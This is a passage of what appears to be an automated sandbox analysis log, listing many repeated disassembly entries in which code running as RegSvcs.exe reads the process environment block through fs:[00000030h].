                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A273C mov eax, dword ptr fs:[00000030h]14_2_018A273C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A273C mov ecx, dword ptr fs:[00000030h]14_2_018A273C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A273C mov eax, dword ptr fs:[00000030h]14_2_018A273C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018EC730 mov eax, dword ptr fs:[00000030h]14_2_018EC730
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A674D mov esi, dword ptr fs:[00000030h]14_2_018A674D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A674D mov eax, dword ptr fs:[00000030h]14_2_018A674D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A674D mov eax, dword ptr fs:[00000030h]14_2_018A674D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018FE75D mov eax, dword ptr fs:[00000030h]14_2_018FE75D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01870750 mov eax, dword ptr fs:[00000030h]14_2_01870750
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F4755 mov eax, dword ptr fs:[00000030h]14_2_018F4755
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2750 mov eax, dword ptr fs:[00000030h]14_2_018B2750
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2750 mov eax, dword ptr fs:[00000030h]14_2_018B2750
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01878770 mov eax, dword ptr fs:[00000030h]14_2_01878770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880770 mov eax, dword ptr fs:[00000030h]14_2_01880770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880770 mov eax, dword ptr fs:[00000030h]14_2_01880770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880770 mov eax, dword ptr fs:[00000030h]14_2_01880770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880770 mov eax, dword ptr fs:[00000030h]14_2_01880770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880770 mov eax, dword ptr fs:[00000030h]14_2_01880770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880770 mov eax, dword ptr fs:[00000030h]14_2_01880770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880770 mov eax, dword ptr fs:[00000030h]14_2_01880770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880770 mov eax, dword ptr fs:[00000030h]14_2_01880770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880770 mov eax, dword ptr fs:[00000030h]14_2_01880770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880770 mov eax, dword ptr fs:[00000030h]14_2_01880770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880770 mov eax, dword ptr fs:[00000030h]14_2_01880770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880770 mov eax, dword ptr fs:[00000030h]14_2_01880770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01874690 mov eax, dword ptr fs:[00000030h]14_2_01874690
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01874690 mov eax, dword ptr fs:[00000030h]14_2_01874690
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AC6A6 mov eax, dword ptr fs:[00000030h]14_2_018AC6A6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A66B0 mov eax, dword ptr fs:[00000030h]14_2_018A66B0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AA6C7 mov ebx, dword ptr fs:[00000030h]14_2_018AA6C7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AA6C7 mov eax, dword ptr fs:[00000030h]14_2_018AA6C7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018EE6F2 mov eax, dword ptr fs:[00000030h]14_2_018EE6F2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018EE6F2 mov eax, dword ptr fs:[00000030h]14_2_018EE6F2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018EE6F2 mov eax, dword ptr fs:[00000030h]14_2_018EE6F2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018EE6F2 mov eax, dword ptr fs:[00000030h]14_2_018EE6F2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F06F1 mov eax, dword ptr fs:[00000030h]14_2_018F06F1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F06F1 mov eax, dword ptr fs:[00000030h]14_2_018F06F1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188260B mov eax, dword ptr fs:[00000030h]14_2_0188260B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188260B mov eax, dword ptr fs:[00000030h]14_2_0188260B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188260B mov eax, dword ptr fs:[00000030h]14_2_0188260B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188260B mov eax, dword ptr fs:[00000030h]14_2_0188260B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188260B mov eax, dword ptr fs:[00000030h]14_2_0188260B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188260B mov eax, dword ptr fs:[00000030h]14_2_0188260B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188260B mov eax, dword ptr fs:[00000030h]14_2_0188260B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018EE609 mov eax, dword ptr fs:[00000030h]14_2_018EE609
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B2619 mov eax, dword ptr fs:[00000030h]14_2_018B2619
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A6620 mov eax, dword ptr fs:[00000030h]14_2_018A6620
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A8620 mov eax, dword ptr fs:[00000030h]14_2_018A8620
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187262C mov eax, dword ptr fs:[00000030h]14_2_0187262C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188E627 mov eax, dword ptr fs:[00000030h]14_2_0188E627
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188C640 mov eax, dword ptr fs:[00000030h]14_2_0188C640
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AA660 mov eax, dword ptr fs:[00000030h]14_2_018AA660
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AA660 mov eax, dword ptr fs:[00000030h]14_2_018AA660
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0193866E mov eax, dword ptr fs:[00000030h]14_2_0193866E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0193866E mov eax, dword ptr fs:[00000030h]14_2_0193866E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A2674 mov eax, dword ptr fs:[00000030h]14_2_018A2674
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018829A0 mov eax, dword ptr fs:[00000030h]14_2_018829A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018829A0 mov eax, dword ptr fs:[00000030h]14_2_018829A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018829A0 mov eax, dword ptr fs:[00000030h]14_2_018829A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018829A0 mov eax, dword ptr fs:[00000030h]14_2_018829A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018829A0 mov eax, dword ptr fs:[00000030h]14_2_018829A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018829A0 mov eax, dword ptr fs:[00000030h]14_2_018829A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018829A0 mov eax, dword ptr fs:[00000030h]14_2_018829A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018829A0 mov eax, dword ptr fs:[00000030h]14_2_018829A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018829A0 mov eax, dword ptr fs:[00000030h]14_2_018829A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018829A0 mov eax, dword ptr fs:[00000030h]14_2_018829A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018829A0 mov eax, dword ptr fs:[00000030h]14_2_018829A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018829A0 mov eax, dword ptr fs:[00000030h]14_2_018829A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018829A0 mov eax, dword ptr fs:[00000030h]14_2_018829A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018709AD mov eax, dword ptr fs:[00000030h]14_2_018709AD
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018709AD mov eax, dword ptr fs:[00000030h]14_2_018709AD
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F89B3 mov esi, dword ptr fs:[00000030h]14_2_018F89B3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F89B3 mov eax, dword ptr fs:[00000030h]14_2_018F89B3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F89B3 mov eax, dword ptr fs:[00000030h]14_2_018F89B3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0193A9D3 mov eax, dword ptr fs:[00000030h]14_2_0193A9D3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019069C0 mov eax, dword ptr fs:[00000030h]14_2_019069C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187A9D0 mov eax, dword ptr fs:[00000030h]14_2_0187A9D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187A9D0 mov eax, dword ptr fs:[00000030h]14_2_0187A9D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187A9D0 mov eax, dword ptr fs:[00000030h]14_2_0187A9D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187A9D0 mov eax, dword ptr fs:[00000030h]14_2_0187A9D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187A9D0 mov eax, dword ptr fs:[00000030h]14_2_0187A9D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187A9D0 mov eax, dword ptr fs:[00000030h]14_2_0187A9D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A49D0 mov eax, dword ptr fs:[00000030h]14_2_018A49D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018FE9E0 mov eax, dword ptr fs:[00000030h]14_2_018FE9E0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A29F9 mov eax, dword ptr fs:[00000030h]14_2_018A29F9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A29F9 mov eax, dword ptr fs:[00000030h]14_2_018A29F9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018EE908 mov eax, dword ptr fs:[00000030h]14_2_018EE908
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018EE908 mov eax, dword ptr fs:[00000030h]14_2_018EE908
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018FC912 mov eax, dword ptr fs:[00000030h]14_2_018FC912
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01868918 mov eax, dword ptr fs:[00000030h]14_2_01868918
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01868918 mov eax, dword ptr fs:[00000030h]14_2_01868918
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F892A mov eax, dword ptr fs:[00000030h]14_2_018F892A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0190892B mov eax, dword ptr fs:[00000030h]14_2_0190892B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F0946 mov eax, dword ptr fs:[00000030h]14_2_018F0946
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01944940 mov eax, dword ptr fs:[00000030h]14_2_01944940
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B096E mov eax, dword ptr fs:[00000030h]14_2_018B096E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B096E mov edx, dword ptr fs:[00000030h]14_2_018B096E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B096E mov eax, dword ptr fs:[00000030h]14_2_018B096E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01914978 mov eax, dword ptr fs:[00000030h]14_2_01914978
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01914978 mov eax, dword ptr fs:[00000030h]14_2_01914978
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01896962 mov eax, dword ptr fs:[00000030h]14_2_01896962
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01896962 mov eax, dword ptr fs:[00000030h]14_2_01896962
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01896962 mov eax, dword ptr fs:[00000030h]14_2_01896962
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018FC97C mov eax, dword ptr fs:[00000030h]14_2_018FC97C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01870887 mov eax, dword ptr fs:[00000030h]14_2_01870887
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018FC89D mov eax, dword ptr fs:[00000030h]14_2_018FC89D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189E8C0 mov eax, dword ptr fs:[00000030h]14_2_0189E8C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019408C0 mov eax, dword ptr fs:[00000030h]14_2_019408C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AC8F9 mov eax, dword ptr fs:[00000030h]14_2_018AC8F9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AC8F9 mov eax, dword ptr fs:[00000030h]14_2_018AC8F9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0193A8E4 mov eax, dword ptr fs:[00000030h]14_2_0193A8E4
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018FC810 mov eax, dword ptr fs:[00000030h]14_2_018FC810
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191483A mov eax, dword ptr fs:[00000030h]14_2_0191483A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191483A mov eax, dword ptr fs:[00000030h]14_2_0191483A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AA830 mov eax, dword ptr fs:[00000030h]14_2_018AA830
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01892835 mov eax, dword ptr fs:[00000030h]14_2_01892835
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01892835 mov eax, dword ptr fs:[00000030h]14_2_01892835
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01892835 mov eax, dword ptr fs:[00000030h]14_2_01892835
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01892835 mov ecx, dword ptr fs:[00000030h]14_2_01892835
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01892835 mov eax, dword ptr fs:[00000030h]14_2_01892835
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01892835 mov eax, dword ptr fs:[00000030h]14_2_01892835
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01882840 mov ecx, dword ptr fs:[00000030h]14_2_01882840
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01874859 mov eax, dword ptr fs:[00000030h]14_2_01874859
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01874859 mov eax, dword ptr fs:[00000030h]14_2_01874859
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A0854 mov eax, dword ptr fs:[00000030h]14_2_018A0854
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01906870 mov eax, dword ptr fs:[00000030h]14_2_01906870
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01906870 mov eax, dword ptr fs:[00000030h]14_2_01906870
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018FE872 mov eax, dword ptr fs:[00000030h]14_2_018FE872
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018FE872 mov eax, dword ptr fs:[00000030h]14_2_018FE872
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01924BB0 mov eax, dword ptr fs:[00000030h]14_2_01924BB0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01924BB0 mov eax, dword ptr fs:[00000030h]14_2_01924BB0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880BBE mov eax, dword ptr fs:[00000030h]14_2_01880BBE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880BBE mov eax, dword ptr fs:[00000030h]14_2_01880BBE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191EBD0 mov eax, dword ptr fs:[00000030h]14_2_0191EBD0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01890BCB mov eax, dword ptr fs:[00000030h]14_2_01890BCB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01890BCB mov eax, dword ptr fs:[00000030h]14_2_01890BCB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01890BCB mov eax, dword ptr fs:[00000030h]14_2_01890BCB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01870BCD mov eax, dword ptr fs:[00000030h]14_2_01870BCD
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01870BCD mov eax, dword ptr fs:[00000030h]14_2_01870BCD
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01870BCD mov eax, dword ptr fs:[00000030h]14_2_01870BCD
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189EBFC mov eax, dword ptr fs:[00000030h]14_2_0189EBFC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01878BF0 mov eax, dword ptr fs:[00000030h]14_2_01878BF0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01878BF0 mov eax, dword ptr fs:[00000030h]14_2_01878BF0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01878BF0 mov eax, dword ptr fs:[00000030h]14_2_01878BF0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018FCBF0 mov eax, dword ptr fs:[00000030h]14_2_018FCBF0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018EEB1D mov eax, dword ptr fs:[00000030h]14_2_018EEB1D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018EEB1D mov eax, dword ptr fs:[00000030h]14_2_018EEB1D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018EEB1D mov eax, dword ptr fs:[00000030h]14_2_018EEB1D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018EEB1D mov eax, dword ptr fs:[00000030h]14_2_018EEB1D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018EEB1D mov eax, dword ptr fs:[00000030h]14_2_018EEB1D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018EEB1D mov eax, dword ptr fs:[00000030h]14_2_018EEB1D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018EEB1D mov eax, dword ptr fs:[00000030h]14_2_018EEB1D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018EEB1D mov eax, dword ptr fs:[00000030h]14_2_018EEB1D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018EEB1D mov eax, dword ptr fs:[00000030h]14_2_018EEB1D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01944B00 mov eax, dword ptr fs:[00000030h]14_2_01944B00
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189EB20 mov eax, dword ptr fs:[00000030h]14_2_0189EB20
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189EB20 mov eax, dword ptr fs:[00000030h]14_2_0189EB20
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01938B28 mov eax, dword ptr fs:[00000030h]14_2_01938B28
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01938B28 mov eax, dword ptr fs:[00000030h]14_2_01938B28
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191EB50 mov eax, dword ptr fs:[00000030h]14_2_0191EB50
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01942B57 mov eax, dword ptr fs:[00000030h]14_2_01942B57
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01942B57 mov eax, dword ptr fs:[00000030h]14_2_01942B57
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01942B57 mov eax, dword ptr fs:[00000030h]14_2_01942B57
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01942B57 mov eax, dword ptr fs:[00000030h]14_2_01942B57
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01906B40 mov eax, dword ptr fs:[00000030h]14_2_01906B40
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01906B40 mov eax, dword ptr fs:[00000030h]14_2_01906B40
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0193AB40 mov eax, dword ptr fs:[00000030h]14_2_0193AB40
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01918B42 mov eax, dword ptr fs:[00000030h]14_2_01918B42
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01868B50 mov eax, dword ptr fs:[00000030h]14_2_01868B50
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01924B4B mov eax, dword ptr fs:[00000030h]14_2_01924B4B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01924B4B mov eax, dword ptr fs:[00000030h]14_2_01924B4B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0186CB7E mov eax, dword ptr fs:[00000030h]14_2_0186CB7E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187EA80 mov eax, dword ptr fs:[00000030h]14_2_0187EA80
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187EA80 mov eax, dword ptr fs:[00000030h]14_2_0187EA80
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187EA80 mov eax, dword ptr fs:[00000030h]14_2_0187EA80
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187EA80 mov eax, dword ptr fs:[00000030h]14_2_0187EA80
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187EA80 mov eax, dword ptr fs:[00000030h]14_2_0187EA80
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187EA80 mov eax, dword ptr fs:[00000030h]14_2_0187EA80
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187EA80 mov eax, dword ptr fs:[00000030h]14_2_0187EA80
